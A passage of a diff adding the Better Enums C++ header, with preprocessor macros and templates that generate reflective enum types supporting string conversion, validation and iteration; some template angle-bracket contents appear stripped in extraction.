d, x) m(d,0,x) +#define BETTER_ENUMS_M2(m,d,x,...) m(d,1,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M1(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M3(m,d,x,...) m(d,2,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M2(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M4(m,d,x,...) m(d,3,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M3(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M5(m,d,x,...) m(d,4,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M4(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M6(m,d,x,...) m(d,5,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M5(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M7(m,d,x,...) m(d,6,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M6(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M8(m,d,x,...) m(d,7,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M7(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M9(m,d,x,...) m(d,8,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M8(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M10(m,d,x,...) m(d,9,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M9(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M11(m,d,x,...) m(d,10,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M10(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M12(m,d,x,...) m(d,11,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M11(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M13(m,d,x,...) m(d,12,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M12(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M14(m,d,x,...) m(d,13,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M13(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M15(m,d,x,...) m(d,14,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M14(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M16(m,d,x,...) m(d,15,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M15(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M17(m,d,x,...) m(d,16,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M16(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M18(m,d,x,...) m(d,17,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M17(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M19(m,d,x,...) m(d,18,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M18(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M20(m,d,x,...) m(d,19,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M19(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M21(m,d,x,...) m(d,20,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M20(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M22(m,d,x,...) m(d,21,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M21(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M23(m,d,x,...) m(d,22,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M22(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M24(m,d,x,...) m(d,23,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M23(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M25(m,d,x,...) m(d,24,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M24(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M26(m,d,x,...) m(d,25,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M25(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M27(m,d,x,...) m(d,26,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M26(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M28(m,d,x,...) m(d,27,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M27(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M29(m,d,x,...) m(d,28,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M28(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M30(m,d,x,...) m(d,29,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M29(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M31(m,d,x,...) m(d,30,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M30(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M32(m,d,x,...) m(d,31,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M31(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M33(m,d,x,...) m(d,32,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M32(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M34(m,d,x,...) m(d,33,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M33(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M35(m,d,x,...) m(d,34,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M34(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M36(m,d,x,...) m(d,35,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M35(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M37(m,d,x,...) m(d,36,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M36(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M38(m,d,x,...) m(d,37,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M37(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M39(m,d,x,...) m(d,38,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M38(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M40(m,d,x,...) m(d,39,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M39(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M41(m,d,x,...) m(d,40,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M40(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M42(m,d,x,...) m(d,41,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M41(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M43(m,d,x,...) m(d,42,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M42(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M44(m,d,x,...) m(d,43,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M43(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M45(m,d,x,...) m(d,44,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M44(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M46(m,d,x,...) m(d,45,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M45(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M47(m,d,x,...) m(d,46,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M46(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M48(m,d,x,...) m(d,47,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M47(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M49(m,d,x,...) m(d,48,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M48(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M50(m,d,x,...) m(d,49,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M49(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M51(m,d,x,...) m(d,50,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M50(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M52(m,d,x,...) m(d,51,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M51(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M53(m,d,x,...) m(d,52,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M52(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M54(m,d,x,...) m(d,53,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M53(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M55(m,d,x,...) m(d,54,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M54(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M56(m,d,x,...) m(d,55,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M55(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M57(m,d,x,...) m(d,56,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M56(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M58(m,d,x,...) m(d,57,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M57(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M59(m,d,x,...) m(d,58,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M58(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M60(m,d,x,...) m(d,59,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M59(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M61(m,d,x,...) m(d,60,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M60(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M62(m,d,x,...) m(d,61,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M61(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M63(m,d,x,...) m(d,62,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M62(m,d,__VA_ARGS__)) +#define BETTER_ENUMS_M64(m,d,x,...) m(d,63,x) \ + BETTER_ENUMS_ID(BETTER_ENUMS_M63(m,d,__VA_ARGS__)) + +#define BETTER_ENUMS_PP_COUNT_IMPL(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, \ + _11, _12, _13, _14, _15, _16, _17, _18, _19, _20, _21, _22, _23, _24, _25, \ + _26, _27, _28, _29, _30, _31, _32, _33, _34, _35, _36, _37, _38, _39, _40, \ + _41, _42, _43, _44, _45, _46, _47, _48, _49, _50, _51, _52, _53, _54, _55, \ + _56, _57, _58, _59, _60, _61, _62, _63, _64, count, ...) count + +#define BETTER_ENUMS_PP_COUNT(...) \ + BETTER_ENUMS_ID(BETTER_ENUMS_PP_COUNT_IMPL(__VA_ARGS__, 64, 63, 62, 61, 60,\ + 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42,\ + 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24,\ + 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, \ + 4, 3, 2, 1)) + +#define BETTER_ENUMS_ITERATE(X, f, l) X(f, l, 0) X(f, l, 1) X(f, l, 2) \ + X(f, l, 3) X(f, l, 4) X(f, l, 5) X(f, l, 6) X(f, l, 7) X(f, l, 8) \ + X(f, l, 9) X(f, l, 10) X(f, l, 11) X(f, l, 12) X(f, l, 13) X(f, l, 14) \ + X(f, l, 15) X(f, l, 16) X(f, l, 17) X(f, l, 18) X(f, l, 19) X(f, l, 20) \ + X(f, l, 21) X(f, l, 22) X(f, l, 23) + +#endif // #ifdef BETTER_ENUMS_MACRO_FILE else case + + + +namespace better_enums { + + +// Optional type. + +template +BETTER_ENUMS_CONSTEXPR_ inline T _default() +{ + return static_cast(0); +} + +template <> +BETTER_ENUMS_CONSTEXPR_ inline const char* _default() +{ + return BETTER_ENUMS_NULLPTR; +} + +template <> +BETTER_ENUMS_CONSTEXPR_ inline std::size_t _default() +{ + return 0; +} + +template +struct optional { + BETTER_ENUMS_CONSTEXPR_ optional() : + _valid(false), _value(_default()) { } + + BETTER_ENUMS_CONSTEXPR_ optional(T v) : _valid(true), _value(v) { } + + BETTER_ENUMS_CONSTEXPR_ const T& operator *() const { return _value; } + BETTER_ENUMS_CONSTEXPR_ const T* operator ->() const { return &_value; } + + BETTER_ENUMS_CONSTEXPR_ operator bool() const { return _valid; } + + BETTER_ENUMS_CONSTEXPR_ const T& value() const { return _value; } + + private: + bool _valid; + T _value; +}; + +template +BETTER_ENUMS_CONSTEXPR_ static optional +_map_index(const Element *array, optional index) +{ + return index ? static_cast(array[*index]) : optional(); +} + +#ifdef BETTER_ENUMS_VC2008_WORKAROUNDS + +#define BETTER_ENUMS_OR_THROW \ + if (!maybe) \ + throw std::runtime_error(message); \ + \ + return *maybe; + +#else + +#define BETTER_ENUMS_OR_THROW \ + return maybe ? *maybe : throw std::runtime_error(message); + +#endif + +BETTER_ENUMS_IF_EXCEPTIONS( +template +BETTER_ENUMS_CONSTEXPR_ static T _or_throw(optional maybe, + const char *message) +{ + BETTER_ENUMS_OR_THROW +} +) + +template +BETTER_ENUMS_CONSTEXPR_ static T* _or_null(optional maybe) +{ + return maybe ? *maybe : BETTER_ENUMS_NULLPTR; +} + + + +// Functional sequencing. This is essentially a comma operator wrapped in a +// constexpr function. g++ 4.7 doesn't "accept" integral constants in the second +// position for the comma operator, and emits an external symbol, which then +// causes a linking error. + +template +BETTER_ENUMS_CONSTEXPR_ U +continue_with(T BETTER_ENUMS_UNUSED(ignored), U value) { return value; } + + + +// Values array declaration helper. + +template +struct _eat_assign { + explicit BETTER_ENUMS_CONSTEXPR_ _eat_assign(EnumType value) : _value(value) + { } + + template + BETTER_ENUMS_CONSTEXPR_ const _eat_assign& + operator =(Any BETTER_ENUMS_UNUSED(dummy)) const { return *this; } + + BETTER_ENUMS_CONSTEXPR_ operator EnumType () const { return _value; } + + private: + EnumType _value; +}; + + + +// Iterables. + +template +struct _Iterable { + typedef const Element* iterator; + + BETTER_ENUMS_CONSTEXPR_ iterator begin() const { return iterator(_array); } + BETTER_ENUMS_CONSTEXPR_ iterator end() const + { return iterator(_array + _size); } + BETTER_ENUMS_CONSTEXPR_ std::size_t size() const { return _size; } + BETTER_ENUMS_CONSTEXPR_ const Element& operator [](std::size_t index) const + { return _array[index]; } + + BETTER_ENUMS_CONSTEXPR_ _Iterable(const Element *array, std::size_t s) : + _array(array), _size(s) { } + + private: + const Element * const _array; + const std::size_t _size; +}; + + + +// String routines. + +BETTER_ENUMS_CONSTEXPR_ static const char *_name_enders = "= \t\n"; + +BETTER_ENUMS_CONSTEXPR_ inline bool _ends_name(char c, std::size_t index = 0) +{ + return + c == _name_enders[index] ? true : + _name_enders[index] == '\0' ? false : + _ends_name(c, index + 1); +} + +BETTER_ENUMS_CONSTEXPR_ inline bool _has_initializer(const char *s, + std::size_t index = 0) +{ + return + s[index] == '\0' ? false : + s[index] == '=' ? true : + _has_initializer(s, index + 1); +} + +BETTER_ENUMS_CONSTEXPR_ inline std::size_t +_constant_length(const char *s, std::size_t index = 0) +{ + return _ends_name(s[index]) ? index : _constant_length(s, index + 1); +} + +BETTER_ENUMS_CONSTEXPR_ inline char +_select(const char *from, std::size_t from_length, std::size_t index) +{ + return index >= from_length ? '\0' : from[index]; +} + +BETTER_ENUMS_CONSTEXPR_ inline char _to_lower_ascii(char c) +{ + return c >= 0x41 && c <= 0x5A ? static_cast(c + 0x20) : c; +} + +BETTER_ENUMS_CONSTEXPR_ inline bool _names_match(const char *stringizedName, + const char *referenceName, + std::size_t index = 0) +{ + return + _ends_name(stringizedName[index]) ? referenceName[index] == '\0' : + referenceName[index] == '\0' ? false : + stringizedName[index] != referenceName[index] ? false : + _names_match(stringizedName, referenceName, index + 1); +} + +BETTER_ENUMS_CONSTEXPR_ inline bool +_names_match_nocase(const char *stringizedName, const char *referenceName, + std::size_t index = 0) +{ + return + _ends_name(stringizedName[index]) ? referenceName[index] == '\0' : + referenceName[index] == '\0' ? false : + _to_lower_ascii(stringizedName[index]) != + _to_lower_ascii(referenceName[index]) ? false : + _names_match_nocase(stringizedName, referenceName, index + 1); +} + +inline void _trim_names(const char * const *raw_names, + const char **trimmed_names, + char *storage, std::size_t count) +{ + std::size_t offset = 0; + + for (std::size_t index = 0; index < count; ++index) { + trimmed_names[index] = storage + offset; + + std::size_t trimmed_length = + std::strcspn(raw_names[index], _name_enders); + storage[offset + trimmed_length] = '\0'; + + std::size_t raw_length = std::strlen(raw_names[index]); + offset += raw_length + 1; + } +} + + + +// Eager initialization. +template +struct _initialize_at_program_start { + _initialize_at_program_start() { Enum::initialize(); } +}; + +} // namespace better_enums + + + +// Array generation macros. + +#define BETTER_ENUMS_EAT_ASSIGN_SINGLE(EnumType, index, expression) \ + ((::better_enums::_eat_assign)EnumType::expression), + +#define BETTER_ENUMS_EAT_ASSIGN(EnumType, ...) \ + BETTER_ENUMS_ID( \ + BETTER_ENUMS_PP_MAP( \ + BETTER_ENUMS_EAT_ASSIGN_SINGLE, EnumType, __VA_ARGS__)) + + + +#ifdef BETTER_ENUMS_HAVE_CONSTEXPR + + + +#define BETTER_ENUMS_SELECT_SINGLE_CHARACTER(from, from_length, index) \ + ::better_enums::_select(from, from_length, index), + +#define BETTER_ENUMS_SELECT_CHARACTERS(from, from_length) \ + BETTER_ENUMS_ITERATE( \ + BETTER_ENUMS_SELECT_SINGLE_CHARACTER, from, from_length) + + + +#define BETTER_ENUMS_TRIM_SINGLE_STRING(ignored, index, expression) \ +constexpr std::size_t _length_ ## index = \ + ::better_enums::_constant_length(#expression); \ +constexpr const char _trimmed_ ## index [] = \ + { BETTER_ENUMS_SELECT_CHARACTERS(#expression, _length_ ## index) }; \ +constexpr const char *_final_ ## index = \ + ::better_enums::_has_initializer(#expression) ? \ + _trimmed_ ## index : #expression; + +#define BETTER_ENUMS_TRIM_STRINGS(...) \ + BETTER_ENUMS_ID( \ + BETTER_ENUMS_PP_MAP( \ + BETTER_ENUMS_TRIM_SINGLE_STRING, ignored, __VA_ARGS__)) + + + +#define BETTER_ENUMS_REFER_TO_SINGLE_STRING(ignored, index, expression) \ + _final_ ## index, + +#define BETTER_ENUMS_REFER_TO_STRINGS(...) \ + BETTER_ENUMS_ID( \ + BETTER_ENUMS_PP_MAP( \ + BETTER_ENUMS_REFER_TO_SINGLE_STRING, ignored, __VA_ARGS__)) + + + +#endif // #ifdef BETTER_ENUMS_HAVE_CONSTEXPR + + + +#define BETTER_ENUMS_STRINGIZE_SINGLE(ignored, index, expression) #expression, + +#define BETTER_ENUMS_STRINGIZE(...) \ + BETTER_ENUMS_ID( \ + BETTER_ENUMS_PP_MAP( \ + BETTER_ENUMS_STRINGIZE_SINGLE, ignored, __VA_ARGS__)) + +#define BETTER_ENUMS_RESERVE_STORAGE_SINGLE(ignored, index, expression) \ + #expression "," + +#define BETTER_ENUMS_RESERVE_STORAGE(...) \ + BETTER_ENUMS_ID( \ + BETTER_ENUMS_PP_MAP( \ + BETTER_ENUMS_RESERVE_STORAGE_SINGLE, ignored, __VA_ARGS__)) + + + +// The enums proper. + +#define BETTER_ENUMS_NS(EnumType) better_enums::_data_ ## EnumType + +#ifdef BETTER_ENUMS_VC2008_WORKAROUNDS + +#define BETTER_ENUMS_COPY_CONSTRUCTOR(Enum) \ + BETTER_ENUMS_CONSTEXPR_ Enum(const Enum &other) : \ + _value(other._value) { } + +#else + +#define BETTER_ENUMS_COPY_CONSTRUCTOR(Enum) + +#endif + +#define BETTER_ENUMS_TYPE(SetUnderlyingType, SwitchType, GenerateSwitchType, \ + GenerateStrings, ToStringConstexpr, \ + DeclareInitialize, DefineInitialize, CallInitialize, \ + Enum, Underlying, ...) \ + \ +namespace better_enums { \ +namespace _data_ ## Enum { \ + \ +BETTER_ENUMS_ID(GenerateSwitchType(Underlying, __VA_ARGS__)) \ + \ +} \ +} \ + \ +class Enum { \ + private: \ + typedef ::better_enums::optional _optional; \ + typedef ::better_enums::optional _optional_index; \ + \ + public: \ + typedef Underlying _integral; \ + \ + enum _enumerated SetUnderlyingType(Underlying) { __VA_ARGS__ }; \ + \ + BETTER_ENUMS_CONSTEXPR_ Enum(_enumerated value) : _value(value) { } \ + \ + BETTER_ENUMS_COPY_CONSTRUCTOR(Enum) \ + \ + BETTER_ENUMS_CONSTEXPR_ operator SwitchType(Enum)() const \ + { \ + return SwitchType(Enum)(_value); \ + } \ + \ + BETTER_ENUMS_CONSTEXPR_ _integral _to_integral() const; \ + BETTER_ENUMS_IF_EXCEPTIONS( \ + BETTER_ENUMS_CONSTEXPR_ static Enum _from_integral(_integral value); \ + ) \ + BETTER_ENUMS_CONSTEXPR_ static Enum \ + _from_integral_unchecked(_integral value); \ + BETTER_ENUMS_CONSTEXPR_ static _optional \ + _from_integral_nothrow(_integral value); \ + \ + ToStringConstexpr const char* _to_string() const; \ + BETTER_ENUMS_IF_EXCEPTIONS( \ + BETTER_ENUMS_CONSTEXPR_ static Enum _from_string(const char *name); \ + ) \ + BETTER_ENUMS_CONSTEXPR_ static _optional \ + _from_string_nothrow(const char *name); \ + \ + BETTER_ENUMS_IF_EXCEPTIONS( \ + BETTER_ENUMS_CONSTEXPR_ static Enum _from_string_nocase(const char *name); \ + ) \ + BETTER_ENUMS_CONSTEXPR_ static _optional \ + _from_string_nocase_nothrow(const char *name); \ + \ + BETTER_ENUMS_CONSTEXPR_ static bool _is_valid(_integral value); \ + BETTER_ENUMS_CONSTEXPR_ static bool _is_valid(const char *name); \ + BETTER_ENUMS_CONSTEXPR_ static bool _is_valid_nocase(const char *name); \ + \ + typedef ::better_enums::_Iterable _value_iterable; \ + typedef ::better_enums::_Iterable _name_iterable; \ + \ + typedef _value_iterable::iterator _value_iterator; \ + typedef _name_iterable::iterator _name_iterator; \ + \ + BETTER_ENUMS_CONSTEXPR_ static const std::size_t _size_constant = \ + BETTER_ENUMS_ID(BETTER_ENUMS_PP_COUNT(__VA_ARGS__)); \ + BETTER_ENUMS_CONSTEXPR_ static std::size_t _size() \ + { return _size_constant; } \ + \ + BETTER_ENUMS_CONSTEXPR_ static const char* _name(); \ + BETTER_ENUMS_CONSTEXPR_ static _value_iterable _values(); \ + ToStringConstexpr static _name_iterable _names(); \ + \ + _integral _value; \ + \ + BETTER_ENUMS_DEFAULT_CONSTRUCTOR(Enum) \ + \ + private: \ + explicit BETTER_ENUMS_CONSTEXPR_ Enum(const _integral &value) : \ + _value(value) { } \ + \ + DeclareInitialize \ + \ + BETTER_ENUMS_CONSTEXPR_ static _optional_index \ + _from_value_loop(_integral value, std::size_t index = 0); \ + BETTER_ENUMS_CONSTEXPR_ static _optional_index \ + _from_string_loop(const char *name, std::size_t index = 0); \ + BETTER_ENUMS_CONSTEXPR_ static _optional_index \ + _from_string_nocase_loop(const char *name, std::size_t index = 0); \ + \ + friend struct ::better_enums::_initialize_at_program_start; \ +}; \ + \ +namespace better_enums { \ +namespace _data_ ## Enum { \ + \ +static ::better_enums::_initialize_at_program_start \ + _force_initialization; \ + \ +enum _PutNamesInThisScopeAlso { __VA_ARGS__ }; \ + \ +BETTER_ENUMS_CONSTEXPR_ const Enum _value_array[] = \ + { BETTER_ENUMS_ID(BETTER_ENUMS_EAT_ASSIGN(Enum, __VA_ARGS__)) }; \ + \ +BETTER_ENUMS_ID(GenerateStrings(Enum, __VA_ARGS__)) \ + \ +} \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline const Enum \ +operator +(Enum::_enumerated enumerated) \ +{ \ + return static_cast(enumerated); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_optional_index \ +Enum::_from_value_loop(Enum::_integral value, std::size_t index) \ +{ \ + return \ + index == _size() ? \ + _optional_index() : \ + BETTER_ENUMS_NS(Enum)::_value_array[index]._value == value ? \ + _optional_index(index) : \ + _from_value_loop(value, index + 1); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_optional_index \ +Enum::_from_string_loop(const char *name, std::size_t index) \ +{ \ + return \ + index == _size() ? _optional_index() : \ + ::better_enums::_names_match( \ + BETTER_ENUMS_NS(Enum)::_raw_names()[index], name) ? \ + _optional_index(index) : \ + _from_string_loop(name, index + 1); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_optional_index \ +Enum::_from_string_nocase_loop(const char *name, std::size_t index) \ +{ \ + return \ + index == _size() ? _optional_index() : \ + ::better_enums::_names_match_nocase( \ + BETTER_ENUMS_NS(Enum)::_raw_names()[index], name) ? \ + _optional_index(index) : \ + _from_string_nocase_loop(name, index + 1); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_integral Enum::_to_integral() const \ +{ \ + return _integral(_value); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum \ +Enum::_from_integral_unchecked(_integral value) \ +{ \ + return static_cast<_enumerated>(value); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_optional \ +Enum::_from_integral_nothrow(_integral value) \ +{ \ + return \ + ::better_enums::_map_index(BETTER_ENUMS_NS(Enum)::_value_array, \ + _from_value_loop(value)); \ +} \ + \ +BETTER_ENUMS_IF_EXCEPTIONS( \ +BETTER_ENUMS_CONSTEXPR_ inline Enum Enum::_from_integral(_integral value) \ +{ \ + return \ + ::better_enums::_or_throw(_from_integral_nothrow(value), \ + #Enum "::_from_integral: invalid argument"); \ +} \ +) \ + \ +ToStringConstexpr inline const char* Enum::_to_string() const \ +{ \ + return \ + ::better_enums::_or_null( \ + ::better_enums::_map_index( \ + BETTER_ENUMS_NS(Enum)::_name_array(), \ + _from_value_loop(CallInitialize(_value)))); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_optional \ +Enum::_from_string_nothrow(const char *name) \ +{ \ + return \ + ::better_enums::_map_index( \ + BETTER_ENUMS_NS(Enum)::_value_array, _from_string_loop(name)); \ +} \ + \ +BETTER_ENUMS_IF_EXCEPTIONS( \ +BETTER_ENUMS_CONSTEXPR_ inline Enum Enum::_from_string(const char *name) \ +{ \ + return \ + ::better_enums::_or_throw(_from_string_nothrow(name), \ + #Enum "::_from_string: invalid argument"); \ +} \ +) \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_optional \ +Enum::_from_string_nocase_nothrow(const char *name) \ +{ \ + return \ + ::better_enums::_map_index(BETTER_ENUMS_NS(Enum)::_value_array, \ + _from_string_nocase_loop(name)); \ +} \ + \ +BETTER_ENUMS_IF_EXCEPTIONS( \ +BETTER_ENUMS_CONSTEXPR_ inline Enum Enum::_from_string_nocase(const char *name)\ +{ \ + return \ + ::better_enums::_or_throw( \ + _from_string_nocase_nothrow(name), \ + #Enum "::_from_string_nocase: invalid argument"); \ +} \ +) \ + \ +BETTER_ENUMS_CONSTEXPR_ inline bool Enum::_is_valid(_integral value) \ +{ \ + return _from_value_loop(value); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline bool Enum::_is_valid(const char *name) \ +{ \ + return _from_string_loop(name); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline bool Enum::_is_valid_nocase(const char *name) \ +{ \ + return _from_string_nocase_loop(name); \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline const char* Enum::_name() \ +{ \ + return #Enum; \ +} \ + \ +BETTER_ENUMS_CONSTEXPR_ inline Enum::_value_iterable Enum::_values() \ +{ \ + return _value_iterable(BETTER_ENUMS_NS(Enum)::_value_array, _size()); \ +} \ + \ +ToStringConstexpr inline Enum::_name_iterable Enum::_names() \ +{ \ + return \ + _name_iterable(BETTER_ENUMS_NS(Enum)::_name_array(), \ + CallInitialize(_size())); \ +} \ + \ +DefineInitialize(Enum) \ + \ +BETTER_ENUMS_CONSTEXPR_ inline bool operator ==(const Enum &a, const Enum &b) \ + { return a._to_integral() == b._to_integral(); } \ +BETTER_ENUMS_CONSTEXPR_ inline bool operator !=(const Enum &a, const Enum &b) \ + { return a._to_integral() != b._to_integral(); } \ +BETTER_ENUMS_CONSTEXPR_ inline bool operator <(const Enum &a, const Enum &b) \ + { return a._to_integral() < b._to_integral(); } \ +BETTER_ENUMS_CONSTEXPR_ inline bool operator <=(const Enum &a, const Enum &b) \ + { return a._to_integral() <= b._to_integral(); } \ +BETTER_ENUMS_CONSTEXPR_ inline bool operator >(const Enum &a, const Enum &b) \ + { return a._to_integral() > b._to_integral(); } \ +BETTER_ENUMS_CONSTEXPR_ inline bool operator >=(const Enum &a, const Enum &b) \ + { return a._to_integral() >= b._to_integral(); } + + + +// Enum feature options. + +// C++98, C++11 +#define BETTER_ENUMS_CXX98_UNDERLYING_TYPE(Underlying) + +// C++11 +#define BETTER_ENUMS_CXX11_UNDERLYING_TYPE(Underlying) \ + : Underlying + +// C++98, C++11 +#define BETTER_ENUMS_REGULAR_ENUM_SWITCH_TYPE(Type) \ + _enumerated + +// C++11 +#define BETTER_ENUMS_ENUM_CLASS_SWITCH_TYPE(Type) \ + BETTER_ENUMS_NS(Type)::_EnumClassForSwitchStatements + +// C++98, C++11 +#define BETTER_ENUMS_REGULAR_ENUM_SWITCH_TYPE_GENERATE(Underlying, ...) + +// C++11 +#define BETTER_ENUMS_ENUM_CLASS_SWITCH_TYPE_GENERATE(Underlying, ...) \ + enum class _EnumClassForSwitchStatements : Underlying { __VA_ARGS__ }; + +// C++98 +#define BETTER_ENUMS_CXX98_TRIM_STRINGS_ARRAYS(Enum, ...) \ + inline const char** _raw_names() \ + { \ + static const char *value[] = \ + { BETTER_ENUMS_ID(BETTER_ENUMS_STRINGIZE(__VA_ARGS__)) }; \ + return value; \ + } \ + \ + inline char* _name_storage() \ + { \ + static char storage[] = \ + BETTER_ENUMS_ID(BETTER_ENUMS_RESERVE_STORAGE(__VA_ARGS__)); \ + return storage; \ + } \ + \ + inline const char** _name_array() \ + { \ + static const char 